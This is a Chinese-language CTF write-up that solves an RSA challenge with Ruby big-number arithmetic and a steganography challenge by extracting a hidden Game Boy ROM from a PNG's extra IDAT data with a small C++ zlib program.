>> p4 = 168989495350198471757304910164246620278618748133367672139165446394971542282791758834807455422116663508781271240060726532459335466894873529369737149899793694978740710751697223761546222188135151720364836557540052832994486319340900010305994941187266419756973586597235759828992800739396838968274798301109676918099
>> n = c.to_bn.mod_exp(d, p4).to_i
>> p n
17268729816559353401470580827638778064723414957310217193471794972008753629563164273078961514354631330982290718517874393106220502014411962811717696713597
>> p n.to_s(2).length
503

這個有詐呀! 超短的說,只好來看看它到底是什麼。

>> n.to_s(16).split('').each_slice(2).map do |x| print x.join.to_i(16).chr end
The flag is BCTF{c4n-y0u-6re4k-RSA-us1n9-4c0ust1c-crypt4n41s1s}

耶!!!

備註: 其實最後一步不用這麼複雜:

>> p [n.to_s(16)].pack("H*")
"The flag is BCTF{c4n-y0u-6re4k-RSA-us1n9-4c0ust1c-crypt4n41s1s}"
>> p n.to_bn.to_s(2)
"The flag is BCTF{c4n-y0u-6re4k-RSA-us1n9-4c0ust1c-crypt4n41s1s}"
 
over 9 years ago

海報探秘

先用 ImageMagick 來觀察一番。

$ identify post.png
post.png PNG 1003x654 1003x654+0+0 8-bit DirectClass 496KB 0.000u 0:00.000

毫無反應,就是張圖片?讓我們看更仔細一點。

$ identify -verbose post.png
identify: Extra compressed data. `post.png' @ warning/png.c/MagickPNGWarningHandler/1335.
identify: Extra compression data. `post.png' @ warning/png.c/MagickPNGWarningHandler/1335.
identify: Too many IDAT's found `post.png' @ error/png.c/MagickPNGErrorHandler/1309.
identify: corrupt image `post.png' @ error/png.c/ReadPNGImage/3294.

看起來後面有偷塞東西?認真讀個 PNG 的 spec,想辦法撈出多餘的資料。

#include <bits/stdc++.h>
#include <zlib.h>

typedef unsigned char Byte;

inline unsigned convert_uint(Byte *b) {
    unsigned ret = 0;
    for (int i = 0; i < 4; i++) ret = ret << 8 | b[i];
    return ret;
}

Byte chunk_len_buf[4];
Byte chunk_name[4];
Byte chunk_data[8 << 10];
Byte raw_data[8 << 20];

int main(int argc, char *argv[]) {
    FILE *fin = fopen(argv[1], "r");
    FILE *fout = fopen(argv[2], "w");
    fseek(fin, 8 + 4 + 4 + 13 + 4, SEEK_CUR); // skip header

    z_stream zs;
    memset(&zs, 0, sizeof(zs));
    inflateInit(&zs);
    zs.next_out = raw_data;
    zs.avail_out = sizeof(raw_data);

    while (fread(chunk_len_buf, 1, 4, fin) == 4) {
        unsigned chunk_len = convert_uint(chunk_len_buf);
        fread(chunk_name, 1, 4, fin);
        fread(chunk_data, 1, chunk_len, fin);
        fseek(fin, 4, SEEK_CUR); // skip crc
        if (memcmp(chunk_name, "IDAT", 4) == 0) {
            zs.next_in = chunk_data;
            zs.avail_in = chunk_len;
            inflate(&zs, Z_SYNC_FLUSH);
        }
    }

    inflateEnd(&zs);
    
    unsigned raw_png_len = 1003 * 654 * 4 + 654;
    unsigned out_len = sizeof(raw_data) - zs.avail_out - raw_png_len;
    fwrite(raw_data + raw_png_len, 1, out_len, fout);

    fclose(fin);
    fclose(fout);
    return 0;
}

編譯並跑跑。

$ g++ poster.cpp -o poster -lz
$ ./poster post.png data

拿到些什麼呢?

$ file data
data: Gameboy ROM: "PAINT", [ROM ONLY], ROM: 256Kbit

歐歐歐,用 OpenEmu 跑起來。

這啥?Google 一下可以發現 Konami Code

嘗試輸入 ↑ ↑ ↓ ↓ ← → ← → B A 後,它就開始畫 flag 了!

最後一步是想辦法辨別出 1lI 之間的差別,耶比 BCTF{1-l0v3-p14yIng-g4m3s}